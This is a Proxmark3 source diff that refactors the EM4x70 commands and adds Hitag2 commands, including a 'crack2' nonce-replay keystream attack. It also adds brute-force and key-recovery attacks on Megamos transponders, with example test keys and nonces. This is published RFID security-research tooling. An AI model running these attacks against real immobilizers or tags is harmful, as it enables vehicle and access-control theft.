if (WaitForResponseTimeout(CMD_LF_EM4X70_SETPIN, &resp, TIMEOUT) == false) { if (WaitForResponseTimeout(CMD_LF_EM4X70_SETPIN, &resp, TIMEOUT) == false) {
return PM3_ETIMEOUT; return PM3_ETIMEOUT;
} }
if (resp.status == PM3_SUCCESS) {
//iceman: prefer to have specific return code check.
// like resp.status != PM3_SUCCESS if looking for failure
if (resp.status) {
memcpy(data_out, resp.data.asBytes, sizeof(em4x70_tag_info_t)); memcpy(data_out, resp.data.asBytes, sizeof(em4x70_tag_info_t));
return PM3_SUCCESS;
} }
return PM3_ESOFT; return resp.status;
} }
static int recover_em4x70(const em4x70_cmd_input_recover_t *opts, em4x70_cmd_output_recover_t *data_out) { static int recover_em4x70(const em4x70_cmd_input_recover_t *opts, em4x70_cmd_output_recover_t *data_out) {
@ -463,23 +439,8 @@ static int verify_auth_em4x70(const em4x70_cmd_input_verify_auth_t *opts) {
return result; return result;
} }
// used by `lf search` and `search`, this is a quick test for EM4x70 tag
// In alignment with other tags implementations, this also dumps basic information
// about the tag, if one is found.
// Use helper function `get_em4x70_info()` if wanting to limit / avoid output.
bool detect_4x70_block(void) {
em4x70_tag_info_t info;
em4x70_cmd_input_info_t opts = { 0 };
int result = get_em4x70_info(&opts, &info); static int CmdEM4x70Info(const char *Cmd) {
if (result == PM3_ETIMEOUT) { // consider removing this output?
PrintAndLogEx(WARNING, "Timeout while waiting for reply.");
}
return result == PM3_SUCCESS;
}
int CmdEM4x70Info(const char *Cmd) {
// invoke reading of a EM4x70 tag which has to be on the antenna because // invoke reading of a EM4x70 tag which has to be on the antenna because
// decoding is done by the device (not on client side) // decoding is done by the device (not on client side)
@ -519,7 +480,7 @@ int CmdEM4x70Info(const char *Cmd) {
return result; return result;
} }
int CmdEM4x70Write(const char *Cmd) { static int CmdEM4x70Write(const char *Cmd) {
// write one block/word (16 bits) to the tag at given block address (0-15) // write one block/word (16 bits) to the tag at given block address (0-15)
CLIParserContext *ctx; CLIParserContext *ctx;
@ -571,7 +532,7 @@ int CmdEM4x70Write(const char *Cmd) {
return result; return result;
} }
int CmdEM4x70Brute(const char *Cmd) { static int CmdEM4x70Brute(const char *Cmd) {
// From paper "Dismantling Megamos Crypto", Roel Verdult, Flavio D. Garcia and Barıs¸ Ege. // From paper "Dismantling Megamos Crypto", Roel Verdult, Flavio D. Garcia and Barıs¸ Ege.
// Partial Key-Update Attack (optimized version) // Partial Key-Update Attack (optimized version)
@ -581,7 +542,9 @@ int CmdEM4x70Brute(const char *Cmd) {
"This attack does NOT write anything to the tag.\n" "This attack does NOT write anything to the tag.\n"
"Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'.\n" "Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'.\n"
"After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'\n", "After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'\n",
"lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 --> bruteforcing key bits k95...k80\n" "lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 --> bruteforcing key bits k95...k80 (pm3 test key)\n"
"lf em 4x70 brute -b 8 --rnd 3FFE1FB6CC513F --frn F355F1A0 --> bruteforcing key bits k79...k64 (research paper key)\n"
"lf em 4x70 brute -b 7 --rnd 7D5167003571F8 --frn 982DBCC0 --> bruteforcing key bits k63...k48 (autorecovery test key)\n"
); );
void *argtable[] = { void *argtable[] = {
arg_param_begin, arg_param_begin,
@ -655,7 +618,7 @@ int CmdEM4x70Brute(const char *Cmd) {
return result; return result;
} }
int CmdEM4x70Unlock(const char *Cmd) { static int CmdEM4x70Unlock(const char *Cmd) {
// send pin code to device, unlocking it for writing // send pin code to device, unlocking it for writing
CLIParserContext *ctx; CLIParserContext *ctx;
@ -703,7 +666,7 @@ int CmdEM4x70Unlock(const char *Cmd) {
return result; return result;
} }
int CmdEM4x70Auth(const char *Cmd) { static int CmdEM4x70Auth(const char *Cmd) {
// Authenticate transponder // Authenticate transponder
// Send 56-bit random number + pre-computed f(rnd, k) to transponder. // Send 56-bit random number + pre-computed f(rnd, k) to transponder.
@ -716,6 +679,7 @@ int CmdEM4x70Auth(const char *Cmd) {
" If F(RN) is correct based on the tag key, the tag will give a 20-bit response\n", " If F(RN) is correct based on the tag key, the tag will give a 20-bit response\n",
"lf em 4x70 auth --rnd 45F54ADA252AAC --frn 4866BB70 --> (using pm3 test key)\n" "lf em 4x70 auth --rnd 45F54ADA252AAC --frn 4866BB70 --> (using pm3 test key)\n"
"lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0 --> (using research paper key)\n" "lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0 --> (using research paper key)\n"
"lf em 4x70 auth --rnd 7D5167003571F8 --frn 982DBCC0 --> (autorecovery test key)\n"
); );
void *argtable[] = { void *argtable[] = {
@ -762,7 +726,7 @@ int CmdEM4x70Auth(const char *Cmd) {
return result; return result;
} }
int CmdEM4x70SetPIN(const char *Cmd) { static int CmdEM4x70SetPIN(const char *Cmd) {
CLIParserContext *ctx; CLIParserContext *ctx;
CLIParserInit(&ctx, "lf em 4x70 setpin", CLIParserInit(&ctx, "lf em 4x70 setpin",
"Write new PIN\n", "Write new PIN\n",
@ -807,12 +771,13 @@ int CmdEM4x70SetPIN(const char *Cmd) {
return result; return result;
} }
int CmdEM4x70SetKey(const char *Cmd) { static int CmdEM4x70SetKey(const char *Cmd) {
CLIParserContext *ctx; CLIParserContext *ctx;
CLIParserInit(&ctx, "lf em 4x70 setkey", CLIParserInit(&ctx, "lf em 4x70 setkey",
"Write new 96-bit key to tag\n", "Write new 96-bit key to tag\n",
"lf em 4x70 setkey -k F32AA98CF5BE4ADFA6D3480B (pm3 test key)\n" "lf em 4x70 setkey -k F32AA98CF5BE4ADFA6D3480B (pm3 test key)\n"
"lf em 4x70 setkey -k A090A0A02080000000000000 (research paper key)\n" "lf em 4x70 setkey -k A090A0A02080000000000000 (research paper key)\n"
"lf em 4x70 setkey -k 022A028C02BE000102030405 (autorecovery test key)\n"
); );
void *argtable[] = { void *argtable[] = {
@ -932,6 +897,7 @@ static int CmdEM4x70Recover_ParseArgs(const char *Cmd, em4x70_cmd_input_recover_
, ,
"lf em 4x70 recover --key F32AA98CF5BE --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)\n" "lf em 4x70 recover --key F32AA98CF5BE --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)\n"
"lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)\n" "lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)\n"
"lf em 4x70 recover --key 022A028C02BE --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)\n"
); );
void *argtable[] = { void *argtable[] = {
@ -1003,7 +969,7 @@ static int CmdEM4x70Recover_ParseArgs(const char *Cmd, em4x70_cmd_input_recover_
return result; return result;
} }
int CmdEM4x70Recover(const char *Cmd) { static int CmdEM4x70Recover(const char *Cmd) {
// From paper "Dismantling Megamos Crypto", Roel Verdult, Flavio D. Garcia and Barıs¸ Ege. // From paper "Dismantling Megamos Crypto", Roel Verdult, Flavio D. Garcia and Barıs¸ Ege.
// Partial Key-Update Attack -- final 48 bits (after optimized version gets k95..k48) // Partial Key-Update Attack -- final 48 bits (after optimized version gets k95..k48)
em4x70_recovery_data_t recover_ctx = {0}; em4x70_recovery_data_t recover_ctx = {0};
@ -1137,6 +1103,7 @@ static int CmdEM4x70AutoRecover_ParseArgs(const char *Cmd, em4x70_cmd_input_reco
, ,
"lf em 4x70 autorecover --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)\n" "lf em 4x70 autorecover --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)\n"
"lf em 4x70 autorecover --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)\n" "lf em 4x70 autorecover --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)\n"
"lf em 4x70 autorecover --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)\n"
); );
void *argtable[] = { void *argtable[] = {
@ -1471,6 +1438,97 @@ static int CmdEM4x70AutoRecover(const char *Cmd) {
return result; return result;
} }
static int CmdEM4x70Calc_ParseArgs(const char *Cmd, em4x70_cmd_input_calculate_t *out_results) {
memset(out_results, 0, sizeof(em4x70_cmd_input_calculate_t));
int result = PM3_SUCCESS;
CLIParserContext *ctx;
CLIParserInit(
&ctx,
"lf em 4x70 calc",
"Calculates both the reader and tag challenge for a user-provided key and rnd.\n"
,
"lf em 4x70 calc --key F32AA98CF5BE4ADFA6D3480B --rnd 45F54ADA252AAC (pm3 test key)\n" // --frn 4866BB70 --grn 9BD180
"lf em 4x70 calc --key A090A0A02080000000000000 --rnd 3FFE1FB6CC513F (research paper key)\n" // --frn F355F1A0 --grn 609D60
"lf em 4x70 calc --key 022A028C02BE000102030405 --rnd 7D5167003571F8 (autorecovery test key)\n" // --frn 982DBCC0 --grn 36C0E0
);
void *argtable[] = {
arg_param_begin,
arg_str1(NULL, "key", "<hex>", "Key 96-bit as 12 hex bytes"),
arg_str1(NULL, "rnd", "<hex>", "56-bit random value sent to tag for authentication"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, true);
int key_len = 0; // must be 12 bytes hex data
int rnd_len = 0; // must be 7 bytes hex data
// These macros hide early function return on error ... including free'ing ctx.
CLIGetHexWithReturn(ctx, 1, out_results->key.k, &key_len);
CLIGetHexWithReturn(ctx, 2, out_results->rn.rn, &rnd_len);
CLIParserFree(ctx);
if (key_len != 12) {
PrintAndLogEx(FAILED, "Key length must be 12 bytes, got %d", key_len);
result = PM3_EINVARG;
}
if (rnd_len != 7) {
PrintAndLogEx(FAILED, "Random number length must be 7 bytes, got %d", rnd_len);
result = PM3_EINVARG;
}
return result;
}
static int CmdEM4x70Calc(const char *Cmd) {
em4x70_cmd_input_calculate_t opts = {0};
em4x70_cmd_output_calculate_t data = {0};
// 0. Parse the command line
int result = CmdEM4x70Calc_ParseArgs(Cmd, &opts);
if (PM3_SUCCESS != result) {
return result;
}
// There are no failure paths. All inputs are valid, and ID48LIB doesn't add any failure paths.
id48lib_generator(&opts.key, &opts.rn, &data.frn, &data.grn);
char key_string[24 + 1] = {0};
char rnd_string[14 + 1] = {0};
char frn_string[ 8 + 1] = {0};
char grn_string[ 6 + 1] = {0};
if (true) {
snprintf(
key_string, 25,
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
opts.key.k[ 0], opts.key.k[ 1], opts.key.k[ 2], opts.key.k[ 3],
opts.key.k[ 4], opts.key.k[ 5], opts.key.k[ 6], opts.key.k[ 7],
opts.key.k[ 8], opts.key.k[ 9], opts.key.k[10], opts.key.k[11]
);
snprintf(
rnd_string, 15,
"%02X%02X%02X%02X%02X%02X%02X",
opts.rn.rn[0], opts.rn.rn[1], opts.rn.rn[2], opts.rn.rn[3], opts.rn.rn[4], opts.rn.rn[5], opts.rn.rn[6]
);
snprintf(
frn_string, 9,
"%02X%02X%02X%02X",
data.frn.frn[0], data.frn.frn[1], data.frn.frn[2], data.frn.frn[3]
);
snprintf(
grn_string, 7,
"%02X%02X%02X",
data.grn.grn[0], data.grn.grn[1], data.grn.grn[2]
);
}
PrintAndLogEx(SUCCESS, "KEY: %s RND: %s FRN: " _GREEN_("%s") " GRN: " _GREEN_("%s"), key_string, rnd_string, frn_string, grn_string);
return PM3_SUCCESS;
}
// Must be declared to be used in the table,
// but cannot be defined yet because it uses the table.
static int CmdHelp(const char *Cmd);
static command_t CommandTable[] = { static command_t CommandTable[] = {
{"help", CmdHelp, AlwaysAvailable, "This help"}, {"help", CmdHelp, AlwaysAvailable, "This help"},
@ -1481,6 +1539,7 @@ static command_t CommandTable[] = {
{"auth", CmdEM4x70Auth, IfPm3EM4x70, "Authenticate EM4x70"}, {"auth", CmdEM4x70Auth, IfPm3EM4x70, "Authenticate EM4x70"},
{"setpin", CmdEM4x70SetPIN, IfPm3EM4x70, "Write PIN"}, {"setpin", CmdEM4x70SetPIN, IfPm3EM4x70, "Write PIN"},
{"setkey", CmdEM4x70SetKey, IfPm3EM4x70, "Write key"}, {"setkey", CmdEM4x70SetKey, IfPm3EM4x70, "Write key"},
{"calc", CmdEM4x70Calc, AlwaysAvailable, "Calculate EM4x70 challenge and response"},
{"recover", CmdEM4x70Recover, AlwaysAvailable, "Recover remaining key from partial key"}, {"recover", CmdEM4x70Recover, AlwaysAvailable, "Recover remaining key from partial key"},
{"autorecover", CmdEM4x70AutoRecover, IfPm3EM4x70, "Recover entire key from writable tag"}, {"autorecover", CmdEM4x70AutoRecover, IfPm3EM4x70, "Recover entire key from writable tag"},
{NULL, NULL, NULL, NULL} {NULL, NULL, NULL, NULL}
@ -1492,7 +1551,27 @@ static int CmdHelp(const char *Cmd) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
///////////////////////////////////////////////////////////////////////////////
// Only two functions need to be non-static:
// * CmdLFEM4X70()
// * detect_4x70_block()
int CmdLFEM4X70(const char *Cmd) { int CmdLFEM4X70(const char *Cmd) {
clearCommandBuffer(); clearCommandBuffer();
return CmdsParse(CommandTable, Cmd); return CmdsParse(CommandTable, Cmd);
} }
// used by `lf search` and `search`, this is a quick test for EM4x70 tag
// In alignment with other tags implementations, this also dumps basic information
// about the tag, if one is found.
// Use helper function `get_em4x70_info()` if wanting to limit / avoid output.
bool detect_4x70_block(void) {
em4x70_tag_info_t info;
em4x70_cmd_input_info_t opts = { 0 };
int result = get_em4x70_info(&opts, &info);
if (result == PM3_ETIMEOUT) { // consider removing this output?
PrintAndLogEx(WARNING, "Timeout while waiting for reply.");
}
return result == PM3_SUCCESS;
}

View file

@ -24,14 +24,6 @@
#define TIMEOUT 2000 #define TIMEOUT 2000
int CmdLFEM4X70(const char *Cmd); int CmdLFEM4X70(const char *Cmd);
int CmdEM4x70Info(const char *Cmd);
int CmdEM4x70Write(const char *Cmd);
int CmdEM4x70Brute(const char *Cmd);
int CmdEM4x70Unlock(const char *Cmd);
int CmdEM4x70Auth(const char *Cmd);
int CmdEM4x70SetPIN(const char *Cmd);
int CmdEM4x70SetKey(const char *Cmd);
int CmdEM4x70Recover(const char *Cmd);
// for `lf search`: // for `lf search`:
bool detect_4x70_block(void); bool detect_4x70_block(void);

View file

@ -766,6 +766,26 @@ void annotateHitag2(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize,
void annotateHitagS(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, bool is_response) { void annotateHitagS(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, bool is_response) {
} }
static const char *identify_transponder_hitag2(uint32_t uid) {
switch (uid) {
case 0x53505910:
return "IMMO Key emulator";
break;
case 0x5accc811:
case 0x5accc821:
case 0x5accc831:
case 0x5accc841:
case 0x5accc851:
case 0x5accc861:
case 0x5accc871:
case 0x5accc881:
case 0x5accc891:
case 0x5accc8B1:
return "CN3 Tango Key emulator";
}
return "";
}
static bool getHitag2Uid(uint32_t *uid) { static bool getHitag2Uid(uint32_t *uid) {
@ -822,10 +842,52 @@ static int CmdLFHitagInfo(const char *Cmd) {
// print_hitag2_configuration(uid, 0x02); // print_hitag2_configuration(uid, 0x02);
// print_hitag2_configuration(uid, 0x00); // print_hitag2_configuration(uid, 0x00);
// print_hitag2_configuration(uid, 0x04); // print_hitag2_configuration(uid, 0x04);
PrintAndLogEx(INFO, "--- " _CYAN_("Fingerprint"));
const char *s = identify_transponder_hitag2(uid);
if (strlen(s)) {
PrintAndLogEx(SUCCESS, "Found... " _GREEN_("%s"), s);
} else {
PrintAndLogEx(INFO, _RED_("n/a"));
}
PrintAndLogEx(NORMAL, "");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int CmdLFHitagReader(const char *Cmd) { static int CmdLFHitagReader(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "lf hitag reader",
"Act as a Hitag2 reader. Look for Hitag2 tags until Enter or the pm3 button is pressed\n",
"lf hitag reader\n"
"lf hitag reader -@ -> Continuous mode"
);
void *argtable[] = {
arg_param_begin,
arg_lit0("@", NULL, "continuous reader mode"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, true);
bool cm = arg_get_lit(ctx, 1);
CLIParserFree(ctx);
if (cm) {
PrintAndLogEx(INFO, "Press " _GREEN_("<Enter>") " to exit");
}
do {
// read UID
uint32_t uid = 0;
if (getHitag2Uid(&uid)) {
PrintAndLogEx(SUCCESS, "UID.... " _GREEN_("%08X"), uid);
}
} while (cm && kbd_enter_pressed() == false);
return PM3_SUCCESS;
}
static int CmdLFHitagRd(const char *Cmd) {
CLIParserContext *ctx; CLIParserContext *ctx;
CLIParserInit(&ctx, "lf hitag read", CLIParserInit(&ctx, "lf hitag read",
@ -1453,7 +1515,7 @@ static int CmdLFHitag2Dump(const char *Cmd) {
memcpy(packet.NrAr, nrar, sizeof(packet.NrAr)); memcpy(packet.NrAr, nrar, sizeof(packet.NrAr));
PrintAndLogEx(INFO, _YELLOW_("Hitag 2") " - Challenge mode (NrAR)"); PrintAndLogEx(INFO, _YELLOW_("Hitag 2") " - Challenge mode (NrAr)");
uint64_t t1 = msclock(); uint64_t t1 = msclock();
@ -2167,6 +2229,86 @@ static int CmdLFHitag2Lookup(const char *Cmd) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int CmdLFHitag2Crack2(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "lf hitag crack2",
"This command tries to recover 2048 bits of Hitag2 crypto stream data.\n",
"lf hitag crack2 --nrar 73AA5A62EAB8529C"
);
void *argtable[] = {
arg_param_begin,
arg_str0(NULL, "nrar", "<hex>", "specify nonce / answer as 8 hex bytes"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);
int nalen = 0;
uint8_t nrar[8] = {0};
CLIGetHexWithReturn(ctx, 1, nrar, &nalen);
CLIParserFree(ctx);
// sanity checks
if (nalen && nalen != 8) {
PrintAndLogEx(INFO, "NrAr wrong length. expected 8, got %i", nalen);
return PM3_EINVARG;
}
lf_hitag_data_t packet;
memset(&packet, 0, sizeof(packet));
memcpy(packet.NrAr, nrar, sizeof(packet.NrAr));
PrintAndLogEx(INFO, _YELLOW_("Hitag 2") " - Nonce replay and length extension attack ( Crack2 )");
uint64_t t1 = msclock();
PacketResponseNG resp;
clearCommandBuffer();
SendCommandNG(CMD_LF_HITAG2_CRACK_2, (uint8_t *) &packet, sizeof(packet));
// loop
uint8_t attempt = 50;
do {
// PrintAndLogEx(INPLACE, "Attack 2 running...");
// fflush(stdout);
if (WaitForResponseTimeout(CMD_LF_HITAG2_CRACK_2, &resp, 1000) == false) {
attempt--;
continue;
}
if (resp.status == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "--------------------- " _CYAN_("Recovered Keystream") " ----------------------");
lf_hitag_crack_response_t *payload = (lf_hitag_crack_response_t *)resp.data.asBytes;
for (int i = 0; i < 256; i += 32) {
PrintAndLogEx(SUCCESS, "%s", sprint_hex_inrow(payload->data + i, 32));
}
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(SUCCESS, "Nonce replay and length extension attack ( %s )", _GREEN_("ok"));
PrintAndLogEx(HINT, "try running `tools/hitag2crack/crack2/ht2crack2search <FILE_with_above_bytes>");
break;
} else {
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(FAILED, "Nonce replay and length extension attack ( %s )", _RED_("fail"));
break;
}
} while (attempt);
if (attempt == 0) {
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(WARNING, "timeout while waiting for reply.");
return PM3_ESOFT;
}
t1 = msclock() - t1;
PrintAndLogEx(SUCCESS, "\ntime " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0);
return PM3_SUCCESS;
}
/* Test code /* Test code
Test data and below information about it comes from Test data and below information about it comes from
@ -2285,9 +2427,9 @@ static uint64_t hitag2_verify_crypto_test_round(void) {
static int CmdLFHitag2Selftest(const char *Cmd) { static int CmdLFHitag2Selftest(const char *Cmd) {
CLIParserContext *ctx; CLIParserContext *ctx;
CLIParserInit(&ctx, "lf hitag selftest", CLIParserInit(&ctx, "lf hitag test",
"Perform selftest of Hitag crypto engine", "Perform self tests of Hitag crypto engine",
"lf hitag selftest\n" "lf hitag test\n"
); );
void *argtable[] = { void *argtable[] = {
@ -2324,11 +2466,12 @@ static command_t CommandTable[] = {
{"list", CmdLFHitagList, AlwaysAvailable, "List Hitag trace history"}, {"list", CmdLFHitagList, AlwaysAvailable, "List Hitag trace history"},
{"-----------", CmdHelp, IfPm3Hitag, "------------------------ " _CYAN_("General") " ------------------------"}, {"-----------", CmdHelp, IfPm3Hitag, "------------------------ " _CYAN_("General") " ------------------------"},
{"info", CmdLFHitagInfo, IfPm3Hitag, "Hitag 2 tag information"}, {"info", CmdLFHitagInfo, IfPm3Hitag, "Hitag 2 tag information"},
{"selftest", CmdLFHitag2Selftest, AlwaysAvailable, "Perform self test"}, {"reader", CmdLFHitagReader, IfPm3Hitag, "Act line an Hitag 2 reader"},
{"test", CmdLFHitag2Selftest, AlwaysAvailable, "Perform self tests"},
{"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("Operations") " -----------------------"}, {"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("Operations") " -----------------------"},
// {"demod", CmdLFHitag2PWMDemod, IfPm3Hitag, "PWM Hitag 2 reader message demodulation"}, // {"demod", CmdLFHitag2PWMDemod, IfPm3Hitag, "PWM Hitag 2 reader message demodulation"},
{"dump", CmdLFHitag2Dump, IfPm3Hitag, "Dump Hitag 2 tag"}, {"dump", CmdLFHitag2Dump, IfPm3Hitag, "Dump Hitag 2 tag"},
{"read", CmdLFHitagReader, IfPm3Hitag, "Read Hitag memory"}, {"read", CmdLFHitagRd, IfPm3Hitag, "Read Hitag memory"},
{"sniff", CmdLFHitagSniff, IfPm3Hitag, "Eavesdrop Hitag communication"}, {"sniff", CmdLFHitagSniff, IfPm3Hitag, "Eavesdrop Hitag communication"},
{"view", CmdLFHitagView, AlwaysAvailable, "Display content from tag dump file"}, {"view", CmdLFHitagView, AlwaysAvailable, "Display content from tag dump file"},
{"wrbl", CmdLFHitagWriter, IfPm3Hitag, "Write a block (page) in Hitag memory"}, {"wrbl", CmdLFHitagWriter, IfPm3Hitag, "Write a block (page) in Hitag memory"},
@ -2339,6 +2482,7 @@ static command_t CommandTable[] = {
{"sim", CmdLFHitagSim, IfPm3Hitag, "Simulate Hitag transponder"}, {"sim", CmdLFHitagSim, IfPm3Hitag, "Simulate Hitag transponder"},
{"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("Recovery") " -----------------------"}, {"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("Recovery") " -----------------------"},
{"cc", CmdLFHitagSCheckChallenges, IfPm3Hitag, "Hitag S: test all provided challenges"}, {"cc", CmdLFHitagSCheckChallenges, IfPm3Hitag, "Hitag S: test all provided challenges"},
{"crack2", CmdLFHitag2Crack2, IfPm3Hitag, "Recover 2048bits of crypto stream"},
{"chk", CmdLFHitag2Chk, IfPm3Hitag, "Check keys"}, {"chk", CmdLFHitag2Chk, IfPm3Hitag, "Check keys"},
{"lookup", CmdLFHitag2Lookup, AlwaysAvailable, "Uses authentication trace to check for key in dictionary file"}, {"lookup", CmdLFHitag2Lookup, AlwaysAvailable, "Uses authentication trace to check for key in dictionary file"},
{"ta", CmdLFHitag2CheckChallenges, IfPm3Hitag, "Hitag 2: test all recorded authentications"}, {"ta", CmdLFHitag2CheckChallenges, IfPm3Hitag, "Hitag 2: test all recorded authentications"},

View file

@ -530,7 +530,7 @@ static int CmdLFNedapSim(const char *Cmd) {
uint8_t data[16]; uint8_t data[16];
NedapGen(sub_type, customer_code, id, is_long, data); NedapGen(sub_type, customer_code, id, is_long, data);
uint8_t bs[16 * 8]; uint8_t bs[16 * 8] = {0};
for (uint8_t i = 0; i < max; i++) { for (uint8_t i = 0; i < max; i++) {
num_to_bytebits(data[i], 8, bs + i * 8); num_to_bytebits(data[i], 8, bs + i * 8);
} }

View file

@ -42,12 +42,12 @@ static bool is_last_record(uint16_t tracepos, uint16_t traceLen) {
} }
static bool next_record_is_response(uint16_t tracepos, uint8_t *trace) { static bool next_record_is_response(uint16_t tracepos, uint8_t *trace) {
tracelog_hdr_t *hdr = (tracelog_hdr_t *)(trace + tracepos); const tracelog_hdr_t *hdr = (tracelog_hdr_t *)(trace + tracepos);
return (hdr->isResponse); return (hdr->isResponse);
} }
static bool merge_topaz_reader_frames(uint32_t timestamp, uint32_t *duration, uint16_t *tracepos, uint16_t traceLen, static bool merge_topaz_reader_frames(uint32_t timestamp, uint32_t *duration, uint16_t *tracepos, uint16_t traceLen,
uint8_t *trace, uint8_t *frame, uint8_t *topaz_reader_command, uint16_t *data_len) { uint8_t *trace, const uint8_t *frame, uint8_t *topaz_reader_command, uint16_t *data_len) {
#define MAX_TOPAZ_READER_CMD_LEN 16 #define MAX_TOPAZ_READER_CMD_LEN 16
@ -59,7 +59,7 @@ static bool merge_topaz_reader_frames(uint32_t timestamp, uint32_t *duration, ui
while (!is_last_record(*tracepos, traceLen) && !next_record_is_response(*tracepos, trace)) { while (!is_last_record(*tracepos, traceLen) && !next_record_is_response(*tracepos, trace)) {
tracelog_hdr_t *hdr = (tracelog_hdr_t *)(trace + *tracepos); const tracelog_hdr_t *hdr = (tracelog_hdr_t *)(trace + *tracepos);
*tracepos += TRACELOG_HDR_LEN + hdr->data_len; *tracepos += TRACELOG_HDR_LEN + hdr->data_len;
@ -93,7 +93,7 @@ static uint8_t calc_pos(const uint8_t *d) {
// Copy an existing buffer into client trace buffer // Copy an existing buffer into client trace buffer
// I think this is cleaner than further globalizing gs_trace, and may lend itself to more modularity later? // I think this is cleaner than further globalizing gs_trace, and may lend itself to more modularity later?
bool ImportTraceBuffer(uint8_t *trace_src, uint16_t trace_len) { bool ImportTraceBuffer(const uint8_t *trace_src, uint16_t trace_len) {
if (trace_len == 0 || trace_src == NULL) return (false); if (trace_len == 0 || trace_src == NULL) return (false);
if (gs_trace) { if (gs_trace) {
free(gs_trace); free(gs_trace);
@ -218,7 +218,7 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t
switch (c) { switch (c) {
case ICLASS_CMD_SELECT: { case ICLASS_CMD_SELECT: {
tracelog_hdr_t *next_hdr = (tracelog_hdr_t *)(trace + tracepos); const tracelog_hdr_t *next_hdr = (tracelog_hdr_t *)(trace + tracepos);
tracepos += SKIP_TO_NEXT(next_hdr); tracepos += SKIP_TO_NEXT(next_hdr);
if (next_hdr->data_len != 10) { if (next_hdr->data_len != 10) {
break; break;
@ -231,7 +231,7 @@ static uint16_t extractChallenges(uint16_t tracepos, uint16_t traceLen, uint8_t
// get epurse // get epurse
if (frame[1] == 2 && data_len == 2) { if (frame[1] == 2 && data_len == 2) {
tracelog_hdr_t *next_hdr = (tracelog_hdr_t *)(trace + tracepos); const tracelog_hdr_t *next_hdr = (tracelog_hdr_t *)(trace + tracepos);
tracepos += SKIP_TO_NEXT(next_hdr); tracepos += SKIP_TO_NEXT(next_hdr);
if (next_hdr->data_len < 8) { if (next_hdr->data_len < 8) {
break; break;
@ -641,25 +641,22 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr
} else if (((protocol == PROTO_HITAG1) || (protocol == PROTO_HITAG2) || (protocol == PROTO_HITAGS))) { } else if (((protocol == PROTO_HITAG1) || (protocol == PROTO_HITAG2) || (protocol == PROTO_HITAGS))) {
if (j == 0) {
// handle partial bytes. The parity array[0] is used to store number of left over bits from NBYTES // handle partial bytes. The parity array[0] is used to store number of left over bits from NBYTES
// This part prints the number of bits in the trace entry for hitag. // This part prints the number of bits in the trace entry for hitag.
uint8_t nbits = parityBytes[0]; uint8_t nbits = parityBytes[0];
if (j == 0) {
// only apply this to lesser than one byte // only apply this to lesser than one byte
if (data_len == 1) { if (data_len == 1) {
if (nbits == 5) {
snprintf(line[0], 120, "%2u: %02X ", nbits, frame[0] >> (8 - nbits)); snprintf(line[0], 120, "%2u: %02X ", nbits, frame[0] >> (8 - nbits));
} else {
snprintf(line[0], 120, "%2u: %02X ", nbits, frame[0] >> (8 - nbits));
}
} else { } else {
if (nbits == 0) { if (nbits == 0) {
snprintf(line[0], 120, "%2u: %02X ", (data_len * 8), frame[0]); snprintf(line[0], 120, "%2u: %02X ", (uint16_t)(data_len * 8), frame[0]);
} else { } else {
snprintf(line[0], 120, "%2u: %02X ", ((data_len - 1) * 8) + nbits, frame[0]); snprintf(line[0], 120, "%2u: %02X ", (uint16_t)(((data_len - 1) * 8) + nbits), frame[0]);
} }
} }
offset = 4; offset = 4;
@ -676,7 +673,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr
if (markCRCBytes && data_len > 2) { if (markCRCBytes && data_len > 2) {
// CRC-command // CRC-command
if (((protocol == PROTO_HITAG1) || (protocol == PROTO_HITAGS)) && (data_len > 1)) { if (((protocol == PROTO_HITAG1) || (protocol == PROTO_HITAGS))) {
// Note that UID REQUEST response has no CRC, but we don't know // Note that UID REQUEST response has no CRC, but we don't know
// if the response we see is a UID // if the response we see is a UID
